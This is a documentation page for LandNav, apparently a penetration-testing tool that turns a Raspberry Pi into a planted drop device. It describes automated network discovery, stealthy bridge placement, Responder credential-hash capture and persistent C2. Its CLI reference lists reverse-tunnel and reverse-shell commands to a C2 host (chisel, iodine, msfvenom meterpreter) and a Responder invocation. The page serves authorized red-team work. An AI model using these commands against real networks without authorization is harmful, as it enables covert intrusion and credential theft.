LandNav — pr0t31n

How It Works

⚠️ Authorized Testing Only

This tool interacts with live systems and must only be used for testing that has been explicitly authorized by the asset owner. Unauthorized use of this tool to probe, scan, exploit, or otherwise interact with systems you do not have written permission to test is illegal under computer fraud and abuse laws (CFAA, CMA, and international equivalents). pr0t31n does not condone or recommend any unauthorized use. Always obtain a signed Rules of Engagement (RoE) or Statement of Work (SoW) before beginning any assessment.

LandNav is a fully automated rogue device network bootstrapper designed for Raspberry Pi 4B running Kali Linux ARM. It automates the entire lifecycle of a drop device deployment, from initial network access through persistent C2 establishment, running unattended via systemd on boot with no operator interaction required.

The bootstrapping sequence proceeds through several stages: Interface detection identifies available network interfaces and selects either bridge mode (transparent inline placement) or standalone mode (direct network attachment). Network discovery uses multiple techniques in parallel — DHCP requests, ARP scanning, LLDP listener, and brute-force subnet probing — to learn the network configuration even when DHCP is unavailable. Once network parameters are discovered, LandNav configures the Pi's connectivity accordingly.

With network access established, LandNav starts two continuous intelligence-gathering processes: a passive recon collector that captures network traffic and identifies hosts/services, and a Responder analyzer that monitors for LLMNR/NBT-NS/WPAD poisoning opportunities and captured credential hashes. Simultaneously, the C2 establishment phase attempts multiple callback methods in parallel: chisel (TCP tunnel) and iodine (DNS tunnel) run concurrently as primary methods, with meterpreter as a fallback. A persistent monitoring loop watches all C2 connections and automatically re-establishes them on failure.

Throughout operation, LED status indicators on the Raspberry Pi provide visual feedback on the current stage (booting, network discovery, C2 establishing, C2 active, error). All configuration is managed through config.yaml and output is written to a structured run directory under /clients/.

Phase Pipeline

Phase 1 — Interface Detection
Phase 2 — Network Setup
Phase 3 — Network Validation
Phase 4 — C2 Egress Verification

Security

Requires root for network interface configuration, bridge setup, and iptables modification. Config.yaml specifies C2 server addresses, credentials, and network parameters. Lock file prevents multiple instances.

Features

C2 Establishment

Parallel C2 Callback

Attempts chisel (TCP tunnel) and iodine (DNS tunnel) C2 methods simultaneously, with meterpreter as a fallback, maximizing the chance of successful callback through diverse egress paths.

Connection Monitoring

Persistent monitoring loop detects C2 connection failures and automatically re-establishes callbacks, maintaining persistent remote access throughout the engagement.

Configuration

YAML Configuration

All C2 server addresses, network preferences, discovery timeouts, and operational parameters managed through a single config.yaml file.

Intelligence

Passive Recon Collection

Continuous passive network traffic analysis identifying hosts, services, and network topology from the drop device's vantage point.

Responder Analysis

Monitors for LLMNR, NBT-NS, and WPAD poisoning opportunities and captures credential hashes from broadcast name resolution traffic.

Network Bootstrap

Automatic Interface Detection

Discovers available network interfaces and selects the optimal deployment mode (transparent bridge or standalone direct access) without operator input.

Multi-Method Network Discovery

Parallel discovery using DHCP, ARP scanning, LLDP monitoring, and brute-force subnet probing to learn network configuration even in environments without DHCP.

Bridge Mode

Transparent inline bridge placement that passes traffic between interfaces while maintaining network access for the Pi itself, avoiding detection by network monitoring.

Operations

LED Status Indicators

Raspberry Pi LED patterns indicate current operational stage (booting, discovery, C2 establishing, C2 active, error) for physical-access status checks.

Systemd Boot Integration

Runs automatically via systemd service on device boot with PID file locking, status heartbeat, and clean shutdown handling.

Use Cases

Validating Firewall Egress Controls

LandNav's parallel C2 establishment probes multiple egress paths simultaneously: TCP tunnels (chisel), DNS tunnels (iodine), and reverse shells (meterpreter) each targeting different ports and protocols. This systematic approach tests whether the organization's firewall rules block all unauthorized outbound channels or leave gaps. If any method succeeds, it proves the egress controls are insufficient to prevent an attacker from establishing persistent communications from a compromised internal host.

Testing Data Exfiltration Controls

The successful establishment of any C2 channel by LandNav creates a path for data exfiltration. The DNS tunnel method (iodine) is particularly significant because it exploits DNS, a protocol that most organizations allow outbound without inspection. This tests whether DLP controls and network monitoring can detect data encoded in DNS queries, a common real-world exfiltration technique that many organizations fail to monitor.

Verifying Network Segmentation

LandNav's automatic network discovery phase reveals the actual network configuration visible from the drop device's location, including reachable subnets, gateways, and services. Combined with the C2 establishment, this tests two segmentation questions simultaneously: what can the device see internally, and can it communicate externally? Failures in either dimension represent segmentation gaps.

Demonstrating Post-Exploitation Lateral Movement

Once LandNav's C2 is established, the remote operator gains full proxy access to the internal network through the drop device. The passive recon and Responder modules continuously discover additional hosts and capture credentials, demonstrating how an attacker with a foothold can progressively expand access without generating the signature active scanning traffic that might trigger alerts.

Testing Incident Detection and Response

LandNav generates multiple categories of detectable activity: ARP scanning during discovery, LLMNR/NBT-NS traffic from Responder, outbound tunnel establishment, and sustained encrypted C2 traffic. Each category provides an opportunity for the SOC to detect the rogue device. The engagement evaluates whether the organization can detect any of these indicators and how quickly they respond.

Physical Security Assessment Integration

LandNav is purpose-built for physical penetration test scenarios where a device is planted on the target network. The fully automated boot-to-C2 pipeline means the tester only needs physical access long enough to connect the device; everything from network discovery through persistent remote access happens without further interaction.

CLI Reference

Command Examples

Run LandNav

sudo python3 landnav.py

Run with default config.yaml.

Dry Run

sudo python3 landnav.py --dry-run

Log all actions without executing — verify configuration before deployment.

Status Check

sudo python3 landnav.py --status

Print current network state and exit.

Third-Party Tool Invocations

Commands and flags used when this tool invokes third-party dependencies during operation.

chisel

Establishes TCP-based reverse tunnels from the drop device to the C2 server for SOCKS5 proxy access.

chisel client --fingerprint <hash> <c2>:<port> R:socks

iodine

Creates DNS-based tunnels for C2 communication that bypass firewalls allowing outbound DNS traffic.

iodine -f -P <password> <tunnel_domain>

msfvenom / meterpreter

Generates and executes reverse shell payloads as a fallback C2 method when tunnel-based methods fail.

msfvenom -p linux/arm/meterpreter/reverse_tcp LHOST=<c2> LPORT=<port> -f elf -o /tmp/shell

Responder

Captures LLMNR/NBT-NS/WPAD broadcast credentials from the local network for intelligence gathering.

responder -I eth0 -A

bridge-utils

Creates transparent network bridges for inline drop device placement that avoids detection.

brctl addbr br0

brctl addif br0 eth0 eth1

Invocation Methods

Method	Usage
CLI — Direct	`cd /opt/pr0t31n/LandNav && python3 landnav.py` Run directly with command-line arguments.
CLI — Settings File	`cd /opt/pr0t31n/LandNav && python3 landnav.py --config config.yaml` Configure via config.yaml (YAML), then run.

Integration

Depends On

Mole-Client (traffic tunnelling)

Used By

Polaris (C2 server management)

Third-Party Dependencies & Credits

Tool / Library	Developer	Type	Link
iodine	Erik Ekman (yarrick)	system	https://github.com/yarrick/iodine
Metasploit Framework	Rapid7	system	https://github.com/rapid7/metasploit-framework
Responder	Laurent Gaffie (lgandx)	system	https://github.com/lgandx/Responder
scapy	Philippe Biondi / SecDev	python	https://github.com/secdev/scapy
ebtables	Bart De Schuymer / netfilter	system	https://ebtables.netfilter.org/
chisel	Jaime Pillora (jpillora)	system	https://github.com/jpillora/chisel
tcpdump	The Tcpdump Group	system	https://github.com/the-tcpdump-group/tcpdump

Metadata

Name	LandNav
Category	Egress & Control
Version	0.16.2
Install Path	`/opt/pr0t31n/LandNav`
Main File	`landnav.py`
GitHub	https://github.com/pr0t31n/LandNav.git